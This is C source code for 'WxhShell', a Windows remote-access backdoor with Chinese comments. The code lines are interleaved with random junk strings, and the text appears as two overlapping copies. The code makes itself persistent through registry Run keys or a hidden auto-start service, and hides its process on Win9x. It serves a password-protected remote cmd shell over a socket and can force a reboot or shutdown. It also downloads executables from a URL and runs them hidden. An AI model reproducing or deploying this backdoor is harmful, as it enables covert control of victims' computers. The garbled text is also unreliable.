if(NULL == hInst ) return 0; AXSip <t*<SdAq>` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gA}<Y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4VwMl)8ic NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S]~5iO_bst b18f=<# if (!NtQueryInformationProcess) return 0; j3T)gFP VmN 7a6a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P8|ANe1
v if(!hProcess) return 0; yFQaNuZPC yXv@yn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h z{-- O8_!!Qd CloseHandle(hProcess); &zJ*afi) S<*IoZ?T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Z _@]D@ if(hProcess==NULL) return 0; 3S2Alx!6 #7}M\\$M HMODULE hMod; ZH8 w^} char procName[255]; (_CvN=A unsigned long cbNeeded; ^FBu|eAkE Kg2Du'WQ^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ksuePMIK W[
W)q%[) CloseHandle(hProcess); ,|>>z#Rr(n JtxVF!v if(strstr(procName,"services")) return 1; // 以服务启动 B8n[ E N5ZOpRH{ return 0; // 注册表启动 1_v\G } rqdN%=C vNuws_ // 主模块 q5-i=lw int StartWxhshell(LPSTR lpCmdLine) @xa$two { W6i9mER- SOCKET wsl; !G0Mg; , BOOL val=TRUE; VwZ~ntk int port=0; VNIl%9:-l struct sockaddr_in door; Q^nfD
?wCX:?g if(wscfg.ws_autoins) Install(); F ]Zg 6
R})KIG port=atoi(lpCmdLine); S-Vj$asv! 9#&H'mG if(port<=0) port=wscfg.ws_port; ^B}m~qT .Y?]r6CC/ WSADATA data; Ut;4`>T if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |UMm>.\' t8h*SHD9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]&q<O0^' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \4G9YK-N> door.sin_family = AF_INET; (l-=/6- door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zl3e=sg= door.sin_port = htons(port); |3!) ha=2isq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2ww
H3} closesocket(wsl); ryh"/lu[B return 1; ss-6b^ } eA-oqolY nK?S2/o#A if(listen(wsl,2) == INVALID_SOCKET) { C~@m6K closesocket(wsl); &Mudu/KTr return 1; K/f-9hE F } 5|K[WvG@Co Wxhshell(wsl); "G.X=,
V WSACleanup(); U4K ZPk Cb+$|Kg/"b return 0; "0#(<zb| !bYVLFp=\_ } Ry]9n.y g0U?`;n$ // 以NT服务方式启动 R2-F@_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3e1-w$z&S { Uuu2wz3O0 DWORD status = 0; :Hm'o} DWORD specificError = 0xfffffff; @P75f5p}< HB'9&
serviceStatus.dwServiceType = SERVICE_WIN32; -aok ]w
m serviceStatus.dwCurrentState = SERVICE_START_PENDING; a~_JTH4=t serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]YFjz/f serviceStatus.dwWin32ExitCode = 0; .IdbaH
_a serviceStatus.dwServiceSpecificExitCode = 0; 4* >j:1 serviceStatus.dwCheckPoint = 0; K$/"I0YyI serviceStatus.dwWaitHint = 0; 'b}RFzEn /NCN wAj7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v^t7)nx^ if (hServiceStatusHandle==0) return; l7^^MnkC B;e<.M)e status = GetLastError(); 5 D^#6h 4 if (status!=NO_ERROR) l/zv > { MkJBKS serviceStatus.dwCurrentState = SERVICE_STOPPED; la-:"gKC serviceStatus.dwCheckPoint = 0; *!&?Xy%\"j serviceStatus.dwWaitHint = 0; ,pGA|ob serviceStatus.dwWin32ExitCode = status; 4}/gV) serviceStatus.dwServiceSpecificExitCode = specificError; !o_eK\p SetServiceStatus(hServiceStatusHandle, &serviceStatus); vn$=be8l4 return; W$NFk( } :dULsl$Nz 6?<lS.s serviceStatus.dwCurrentState = SERVICE_RUNNING; Y!_c/ !Tx serviceStatus.dwCheckPoint = 0; $9Bzq_! serviceStatus.dwWaitHint = 0; i({\fb|0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !'F1Ht } md'wre3 a@W9\b@I // 处理NT服务事件,比如:启动、停止 \ Voly VOID WINAPI NTServiceHandler(DWORD fdwControl) W7
Iy _> { ut560,h~ switch(fdwControl) C{uT1` { >L4F'#I case SERVICE_CONTROL_STOP: 8&"Jlz
| serviceStatus.dwWin32ExitCode = 0; l$9k:#\FD serviceStatus.dwCurrentState = SERVICE_STOPPED; _&V,yp!|
serviceStatus.dwCheckPoint = 0; FVrB#Hw~ serviceStatus.dwWaitHint = 0; nf"#F@dk { +<[ q"3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); PN]hG,q*4O } E\s1p:% return; y _"V=: case SERVICE_CONTROL_PAUSE: Q}lCQK/g serviceStatus.dwCurrentState = SERVICE_PAUSED; P<vU!`x%q break; @- |G_BZ case SERVICE_CONTROL_CONTINUE: t7x<=rW7u serviceStatus.dwCurrentState = SERVICE_RUNNING;
a}FyJp break; 6#CswSpS case SERVICE_CONTROL_INTERROGATE: J.4U;A5 break; ]9/A=p?J@ }; 8YlZ({f SetServiceStatus(hServiceStatusHandle, &serviceStatus); r.#r!.6 q } r1%{\< q/I( e // 标准应用程序主函数 !fn%Q'S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +39uKOrZ { zM&ro,W :AztHf?X // 获取操作系统版本 ~<VxtcEBz OsIsNt=GetOsVer(); i]k)wr( GetModuleFileName(NULL,ExeFile,MAX_PATH); /}U)|6-B eQ/w
Mr // 从命令行安装 #n|5ng|CJ if(strpbrk(lpCmdLine,"iI")) Install(); =oL:|$Pj PL$XXj>|: // 下载执行文件 8HBwcXYoHh if(wscfg.ws_downexe) { IP#vfM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TA*}p=?6?! WinExec(wscfg.ws_filenam,SW_HIDE); @hg[v`~ } N^[
F+y >VIFQ\ if(!OsIsNt) { /Ls|'2J<$ // 如果时win9x,隐藏进程并且设置为注册表启动 }'x)e HideProc(); Z!|r> StartWxhshell(lpCmdLine); N^oP,^+U } P`Ku.
ONQ else Fh)xm* u( if(StartFromService()) jH<Sf: Y( // 以服务方式启动 SEzjc ~@3 StartServiceCtrlDispatcher(DispatchTable); j`.&4.7+ else #
f-hI // 普通方式启动 G2I%^.s StartWxhshell(lpCmdLine); y<- ]'Yts g tMR/P:S return 0; Fik;hB } "0;WYw? A)n_ST0 k0V]<#h87 r7R'beiH =========================================== z3S"1L7
p )JR5z |Sjy
!% W5@tN 8ly)G K(upzn*a " us|Hb gw,K*ph}q #include <stdio.h> >^g2Tg: #include <string.h> QEt"T7a[/ #include <windows.h> (jU_lsG #include <winsock2.h> >>KI_$V #include <winsvc.h> )GG9[%H! #include <urlmon.h> xgIb6<qwY aIa<, #pragma comment (lib, "Ws2_32.lib") '62_q8: #pragma comment (lib, "urlmon.lib") =L#&`s@)_ tP! %(+V #define MAX_USER 100 // 最大客户端连接数 5Q8 H8!^
#define BUF_SOCK 200 // sock buffer KM[0aXOtv #define KEY_BUFF 255 // 输入 buffer d38o*+JCf MhHh`WUGh #define REBOOT 0 // 重启 !zOj`lx #define SHUTDOWN 1 // 关机 )HE{`yiLL TX$dxHSPK #define DEF_PORT 5000 // 监听端口 lJFy(^KQG, w>X@
, #define REG_LEN 16 // 注册表键长度 i,;eW&
#define SVC_LEN 80 // NT服务名长度 z-gMk@l d6tv4Cf // 从dll定义API )Hin{~h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rMIX{K)'f typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [UzacX t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B6IKD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %p)&mYK{ -(
p%+` // wxhshell配置信息 gkxHfm struct WSCFG { *l
=f= int ws_port; // 监听端口 F5x*#/af char ws_passstr[REG_LEN]; // 口令 (kY0< int ws_autoins; // 安装标记, 1=yes 0=no S"G(_% char ws_regname[REG_LEN]; // 注册表键名 PA
ZjA0d char ws_svcname[REG_LEN]; // 服务名 g4,ldr"D char ws_svcdisp[SVC_LEN]; // 服务显示名 8=Oym~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 "!vY{9, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n!Y_SPg
int ws_downexe; // 下载执行标记, 1=yes 0=no v+{{j|x= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ELnUpmv\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $k&v
juB. -DHzBq=H }; Ow> u!P! K5LJx-x*j // default Wxhshell configuration diu"Nt struct WSCFG wscfg={DEF_PORT, &':C"_|&r "xuhuanlingzhe", 2C:u)}R7D 1, r{r~!=u "Wxhshell", Hm>cKPZ) "Wxhshell", )N- '~<N "WxhShell Service", L$O\fhO? "Wrsky Windows CmdShell Service", !?ZR_=Y% "Please Input Your Password: ", ?+d{Rh)y 1, |LC"1 k "http://www.wrsky.com/wxhshell.exe", 8k:^( kByF "Wxhshell.exe" !$1qnsz }; o S%(~])\ ldp9+7n~ // 消息定义模块 y[l{
UBue: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I>nYI|o1 char *msg_ws_prompt="\n\r? for help\n\r#>";
G-1qxK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?q4`&";{3 char *msg_ws_ext="\n\rExit."; xva
e^gr
char *msg_ws_end="\n\rQuit."; -7w}+iS char *msg_ws_boot="\n\rReboot..."; Hl%Og$q3 char *msg_ws_poff="\n\rShutdown..."; fh)eL<I char *msg_ws_down="\n\rSave to "; E-Xz 9[VYd ' char *msg_ws_err="\n\rErr!"; XZ.D<T" char *msg_ws_ok="\n\rOK!"; iP9]b& XYP
RMa? char ExeFile[MAX_PATH]; q
j21#q
. int nUser = 0; `.JW_F)1 HANDLE handles[MAX_USER]; }a!|n4|` int OsIsNt; `T+>E0H(f dpS@: SERVICE_STATUS serviceStatus; >H;m[ SERVICE_STATUS_HANDLE hServiceStatusHandle; tx[;& ; _I; hM // 函数声明 Eu&$Rq} int Install(void); ) q'D9x9 int Uninstall(void); '+$r7?dKP int DownloadFile(char *sURL, SOCKET wsh); p2l@6\m\ int Boot(int flag); Ih5Y7<8b~ void HideProc(void); %Bm{ctf#) int GetOsVer(void); k]:`<`/I_ int Wxhshell(SOCKET wsl); <7ANXHuSW void TalkWithClient(void *cs); `
~m/ int CmdShell(SOCKET sock); lU
Zj int StartFromService(void); [g@qZ5I. int StartWxhshell(LPSTR lpCmdLine); N
e{=KdzT Gev\bQa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S_Nm?;P VOID WINAPI NTServiceHandler( DWORD fdwControl ); SbX^DAlB1 'q;MhnU+ // 数据结构和表定义 ZhCz]z~tj6 SERVICE_TABLE_ENTRY DispatchTable[] = 3C!|!N1Hn { mIG>`7`7N {wscfg.ws_svcname, NTServiceMain}, um$U3'0e {NULL, NULL} r]xN&Ne5Q }; N9d^;6;i [-l>fP0 // 自我安装 r0k:RJP int Install(void) x1wD`r { H(n
fHp.3 char svExeFile[MAX_PATH]; WLU_t65 HKEY key; *^] strcpy(svExeFile,ExeFile); ~2hzyEh X$ul=iBs // 如果是win9x系统,修改注册表设为自启动 @ ^F{ if(!OsIsNt) { kb~
s,@p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1r.2bL*~jw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @qcUxu 4 RegCloseKey(key); 9(HGe+R4o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EmUt/] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]g9SUFM RegCloseKey(key); .yUD\ZGJu return 0; R6 ej } Kk=>"?& } YG*<jKcX } >#r0k|3J^J else { {-7ovH? `R
(N3 // 如果是NT以上系统,安装为系统服务 VWdTnu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tg@G-6u0c if (schSCManager!=0) .Gr"|uII { 3nhQ^zqf SC_HANDLE schService = CreateService 9({ 9 r[U ( ;6 d-+(@ schSCManager, )N^fSenFBn wscfg.ws_svcname, {c?{M.R wscfg.ws_svcdisp, ^|h_[> SERVICE_ALL_ACCESS, 2.);OFk+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .XK3o .ZhW SERVICE_AUTO_START, MTE1\, SERVICE_ERROR_NORMAL, 1=+S'_j svExeFile, I31Nu{ NULL, D?Ol)aj? NULL, ?T%"Jgy8 NULL, 0nI*9 NULL, {7IZN< e NULL 4$2HO`@uN ); T^d<vH if (schService!=0) mg70%=qM0f { j4@6`[n: CloseServiceHandle(schService); /P[u vO CloseServiceHandle(schSCManager); + rN# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \C;Yn6PK0 strcat(svExeFile,wscfg.ws_svcname); L*Ffic if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9(=+OQ6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z/5TYv)S RegCloseKey(key); *pS3xit~ return 0; %y>*9$<pXe } ${. :(z } #>CWee; CloseServiceHandle(schSCManager); rjfWty%6pX } mDwuJf8} } >PdrLwKS pkG8g5(w return 1; BB1_EdoG } 2^5RQl/ s&WE' // 自我卸载 Qd3ppJn int Uninstall(void) NV}fcZ { SJ8
~:"\P HKEY key; {KTZSs $n hQzT
=0 if(!OsIsNt) { o4rf[.z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !L|VmLqa RegDeleteValue(key,wscfg.ws_regname); CIwI1VR^ RegCloseKey(key);
_,Q -)\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[33u p RegDeleteValue(key,wscfg.ws_regname);
S[8nGH#m RegCloseKey(key); { }Afah return 0; ed/
"OgA } )WEOqaR] } T9}dgf } vXdI)Sx[ else { ow,! 7|m
NQ '|M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w1F)R^tU if (schSCManager!=0) |t$%kpp { [8DPZU@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); - sq=| if (schService!=0) 54]UfmT%I { L)H/t6}i if(DeleteService(schService)!=0) { ^'sy hI\ CloseServiceHandle(schService); gz:US77 CloseServiceHandle(schSCManager); JGhK8E
return 0; |9m*?7 } ]REF1<)4z CloseServiceHandle(schService); M6Ik 'r"M } 'OhGSs| CloseServiceHandle(schSCManager); b9Eb" } =.`e4}u \X } +WxD=|p; 7/=r- return 1; L[+4/a!HQ } C1YH\X(r ^m.%FIwR // 从指定url下载文件 4Dd]:2|D int DownloadFile(char *sURL, SOCKET wsh) /GNm>NSK { O+DYh=m*p HRESULT hr; T}'*Gry char seps[]= "/"; d<cQYI4V char *token; |mw3v> char *file; oBPm^ob4 char myURL[MAX_PATH]; w0.;86<MV char myFILE[MAX_PATH];
y?*Y=," '2p,0Bk9i strcpy(myURL,sURL); *'@T+$3s token=strtok(myURL,seps); "GxQ9=Z while(token!=NULL) N40DL_- { 9~r8$,e file=token; `Z@qWB< token=strtok(NULL,seps); w/ID yQ } pe\]}& <5|:QLqy GetCurrentDirectory(MAX_PATH,myFILE); >/-Bg: strcat(myFILE, "\\"); ,F|49i.K strcat(myFILE, file); %:-2P send(wsh,myFILE,strlen(myFILE),0); A22'qgKm@ send(wsh,"...",3,0); dP/1E6*m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~NK|q5(I if(hr==S_OK) 99Nm? $g return 0; `qy@Qo else Q,o"[ &Gp return 1; p"Di;3!y! .Jc<Gg } )c0 Dofhg phcYQqR // 系统电源模块 FCt %of# int Boot(int flag) EHq?yj; { AHP;N6Y6 HANDLE hToken; [@$t35t~ TOKEN_PRIVILEGES tkp; 7t%
|s!~ U,\t2z if(OsIsNt) { |198A,^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l.SoiFDd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kl :x?"g) tkp.PrivilegeCount = 1; SivJaY% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0{47TX*YX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w"h3e if(flag==REBOOT) { KD..X~Me if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =|3*Y0 return 0; T$Rf } to] ~$~Q|> else { Ij7[2V]c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KA9v?_@{ F return 0; D;oX*` } 14 hE<u } Sh U1RQk else { 5k<0>6;XH if(flag==REBOOT) { pJ@D}2u( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '!XVz$C return 0; oMb@)7 } kfs[*ku else { Uj)`(}r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zhC5%R &n/ return 0; SGLU7*sfd } ,D{D
QJ(B } -j}zr yG- f;a55%3c return 1; Ob
h@d| } /V E|F Ts 89%#;C // win9x进程隐藏模块 p y%RR*4# void HideProc(void) &jE@i# { y-a3 {bO
O?pp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Y;[)s =q if ( hKernel != NULL ) >B+!fi'SS> { B5/"2i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %_ Vj'z~T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0-IL@Di`F FreeLibrary(hKernel); =a_ >") } %2`.*]L
D~t return; *~jTE;J } ,uCgC4EP ;0:[X+"( // 获取操作系统版本 #HmZe98[% int GetOsVer(void) h9l 6AnbJ { [|APMMYK1 OSVERSIONINFO winfo; \) g?mj^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cFloaCz GetVersionEx(&winfo); 9<1dps=c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q3/ 0xN+? return 1; Xny{8Oo<1? else '>#8
F. return 0; ,^&amWey } ->a| Ox&]{ // 客户端句柄模块 qPgny/( int Wxhshell(SOCKET wsl) h=MEQ-3jg { 5/m}v'S% SOCKET wsh; $VUX?ii$7= struct sockaddr_in client; %. W56 DWORD myID; +Z=DvKsTJ 'Em633 while(nUser<MAX_USER) =r>u'wRQ { D[p`1$E-1v int nSize=sizeof(client); o6)U\z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iO{LsG*5Z if(wsh==INVALID_SOCKET) return 1; }o@Dsx5 &[y+WrGG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D`2w>{Y if(handles[nUser]==0) -5#cfi4^* closesocket(wsh); wYN/ }>M else 3?bTs = nUser++; N<T@GQwkS } `clp#l.ii WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M. fA5rJ^ "{M?,jP# return 0; v]hu5t } O{ |Ug~ #=
@?)\~ // 关闭 socket k83S.*9Mx void CloseIt(SOCKET wsh) L=V.@? { Jqz K5)
closesocket(wsh); s-JS[ nUser--; /G= ?E]^ ExitThread(0); !p{CsR8c } ;_p!20.( 2[g kDZ // 客户端请求句柄 j. mla void TalkWithClient(void *cs) p|Nh:4iN { ZP9x3MHe J1@skj4#\~ SOCKET wsh=(SOCKET)cs; !:M+7kmr7t char pwd[SVC_LEN]; KLgg([ char cmd[KEY_BUFF]; <,,X\>B char chr[1]; FPukV^ int i,j; kt7x}F(?< EjP9/VG@= while (nUser < MAX_USER) { l9f%?<2D |H>;a@2d if(wscfg.ws_passstr) { 5Tq*]ZE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I9*BTT] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ayQ2#9X} //ZeroMemory(pwd,KEY_BUFF); 'C)
v?!19 i=0; DIx.a^LR while(i<SVC_LEN) { J7+[+Y 59BB-R,V // 设置超时 9E}JtLgT fd_set FdRead; t
{H{xd struct timeval TimeOut; a6\`r^ @ FD_ZERO(&FdRead); eD!mR3Ai@D FD_SET(wsh,&FdRead); 1x^Vv;K TimeOut.tv_sec=8; Q AX3*%h TimeOut.tv_usec=0; heQyz|o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PP8627uP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2ae"Sd!-2 <"{VVyK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }mpFo2 pwd=chr[0]; BRXDE7vw if(chr[0]==0xd || chr[0]==0xa) { )
(0=w4 pwd=0; DqHJ *x4 break; aATNeAR } USZBk0$ i++; 2=uwGIF } 0G`@^` /h9v'Y}c // 如果是非法用户,关闭 socket 4))N(m%3F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bD.KD)5 } CZog?O}< b*1yvkX5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q1Mt5O} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *auT_* (#8B while(1) { 5&qBG@Hw] KkCsQ~po ZeroMemory(cmd,KEY_BUFF); wlgR =l izs=5 // 自动支持客户端 telnet标准 F ESl#.} j=0; Uo;a$sR while(j<KEY_BUFF) { DMlr%)@{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h.q9p! cmd[j]=chr[0]; Ko0?c.l if(chr[0]==0xa || chr[0]==0xd) { p}8?#5`/w cmd[j]=0; 3Uej]}c break; D7=Irz!O\7 } !6,rN_a@Y j++; v[V7$.%5Q } X.ecA`0 [,(+r7aB // 下载文件 }m&\I if(strstr(cmd,"http://")) { S_?sJwM send(wsh,msg_ws_down,strlen(msg_ws_down),0); wHh6y? g\ if(DownloadFile(cmd,wsh)) n'[>h0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6sG5n7E-A else xxA^A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~RLWr.pK } HuR774f[ else { M4(57b[` (I/iD.A switch(cmd[0]) { dh9@3. t #}l$<7ZU // 帮助 _}F_Q5) case '?': { %xr'96d send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _0UE*l$t break; =J|jCK[r } BS(jC // 安装 0s79rJ case 'i': { d"L(eI}G if(Install()) (4?^X send(wsh,msg_ws_err,strlen(msg_ws_err),0); =cO5Nt else IwRP,MQ~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rgDl%X2B break; >@Pw{Zh$ } %J Jp/I // 卸载 `vz7}TY case 'r': { ;A4j_8\[ if(Uninstall()) :zY;eJK m send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@[)*([ else %a
FZbLK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -*Tf.c break; '#SZ|Rr6tX } |?nYs>K // 显示 wxhshell 所在路径 $@O? case 'p': { eK5~YM:o char svExeFile[MAX_PATH]; ug.|ag'R strcpy(svExeFile,"\n\r"); |P`b"x strcat(svExeFile,ExeFile); +r7hc;+G send(wsh,svExeFile,strlen(svExeFile),0); ]=9 d'WL break; {]dG 9 } oUO3,2bn // 重启 J%n#uUs case 'b': { pU'${Z~b send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M?DZShkV_ if(Boot(REBOOT)) EV-sEl8ki send(wsh,msg_ws_err,strlen(msg_ws_err),0); _>BYUPY else { HDTA`h?t; closesocket(wsh); hnH<m7 ExitThread(0); }a#T\6rY } ||fw!8E break; Hzj8o3 } ^M%P43 // 关机 p(nO~I2E case 'd': { IaQm)"Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Na@;F{ if(Boot(SHUTDOWN)) \o=9WKc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5gV,^[E-z else { DBG0)=SHy closesocket(wsh); v9FR ExitThread(0); ,]nRnI^ } ''D7Bat@ break; \F-n}Z } 4f~sRubK // 获取shell DaJ,(DJY case 's': { <T;V9(66 CmdShell(wsh); *C0a,G4 closesocket(wsh); 8EMBqhl ExitThread(0); cvo+{u$s break; dNY'uv&Y } Thu_`QP^ // 退出 ~5h4 Gy) case 'x': { $MGKGWx@E send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,X1M!' CloseIt(wsh); Lq
;~6 break; Nsq=1)
< } U<;{_!] // 离开 bq)1'beW case 'q': { pC0gw2n8M send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^*4#ZvpG2 closesocket(wsh); ,A7:zxnc.V WSACleanup(); Pz[UAJ exit(1); mdyl;e{0 break; GF9[|).
T } \!30t1EZ } $]Ix(7@W } tu"-]^ 5z9hcQAS // 提示信息 p`rjWpH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U,7 } jnbR}a=fJ } &bfM`h' qo7<g*kf~ return; Mpyza%zj } !/tV}.* yUD@oOVC0 // shell模块句柄 YgjW%q int CmdShell(SOCKET sock) |bSAn*6b { 0TA8#c STARTUPINFO si; ky]^N) ZeroMemory(&si,sizeof(si)); ,/GFD[SQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tmoCy0qWz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SmD#hE[ PROCESS_INFORMATION ProcessInfo; \)wVO*9*0 char cmdline[]="cmd"; 7P}l^WX CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jk`Jv; return 0; kjp~:Bg_( } 5de1r B| Lg(G&ljE@k // 自身启动模式 V`LE 'E int StartFromService(void) j^8HTa0Cy| { sC[#R.eq typedef struct g.Qn,l]X/p { 6Iv};f"Y DWORD ExitStatus; a@&qdp DWORD PebBaseAddress; TCzlu#w DWORD AffinityMask; :Zkjtr.\ DWORD BasePriority; 9S17Lr*c ULONG UniqueProcessId; x9\{a ULONG InheritedFromUniqueProcessId; Z:,\FB_U } PROCESS_BASIC_INFORMATION; \Gk}Fer k$m'ebrS.~ PROCNTQSIP NtQueryInformationProcess; M E]7e^ ;`c:Law4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :|S[i(' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E$4H;SN \ B8T5?bl HANDLE hProcess; w5s&Ws PROCESS_BASIC_INFORMATION pbi; w5)KWeGa "N_@q2zF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zVtTv-DU if(NULL == hInst ) return 0; EZ/_uj2&SN )
?kbHm g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mZ? jpnd g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B*3_m
_a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F=5vAv1 g\/|7:yB] if (!NtQueryInformationProcess) return 0; #DguV 1I'}Uh* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Dl^5q.| if(!hProcess) return 0; 'Kkp!eZQ~ I]5){Q"S if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
|0uqW1 <_pLmYI CloseHandle(hProcess); @XL49D12c Gdx%#@/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jqj}j2
9 if(hProcess==NULL) return 0; }*%=C!m4R! >wb*kyO7(# HMODULE hMod; Pq35w#`! char procName[255]; _X<V`,
